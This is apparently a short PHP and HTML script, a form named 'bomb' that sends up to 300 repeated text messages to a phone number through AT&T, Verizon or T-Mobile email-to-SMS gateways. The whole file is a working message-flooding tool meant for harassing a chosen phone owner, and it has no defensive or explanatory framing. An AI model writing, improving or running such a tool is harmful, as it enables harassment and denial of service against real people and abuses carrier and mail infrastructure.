Untitled

<html>
<body>
<form name='bomb' action='index.php' method='post'><br/>
Phone number:<input type='text' name='number'/><br/>
Provider:
<select name='provider'>
    <option value='@txt.att.net'>AT&T</option>
    <option value='@vtext.com'>Verizon</option>
    <option value='@tmomail.net'>T-Mobile</option>
</select><br/>
Message:<input type='text' name='message'/><br/>
Amount of times:<input type='text' name='amount'/><br/>
<input type='submit'/><br/>
</form>
</body>
</html>

<?php

if($_POST['number'] && $_POST['provider'] && $_POST['message'] && $_POST['amount'] != NULL)
{
    $number = $_POST['number'];
    $number.= $_POST['provider'];
    $message = $_POST['message'];
    $amount = $_POST['amount'];
    $sent = '<br/>Sent $i times to $number <br/>';
    $i = 0;

    do
    {
        if($amount >= 301)
        {
            print '300 messages MAX per bomb!';
            exit();
        } else {
            mail($number, '', '', $message);
            $i++;
        }
    }while($i < $amount);

    if($i == $amount && $i != 0)
    {
        print '<br/>Sent '.$i.' times to '.$number;
    }
} else
    print "Please fill out all of the fields!";

?>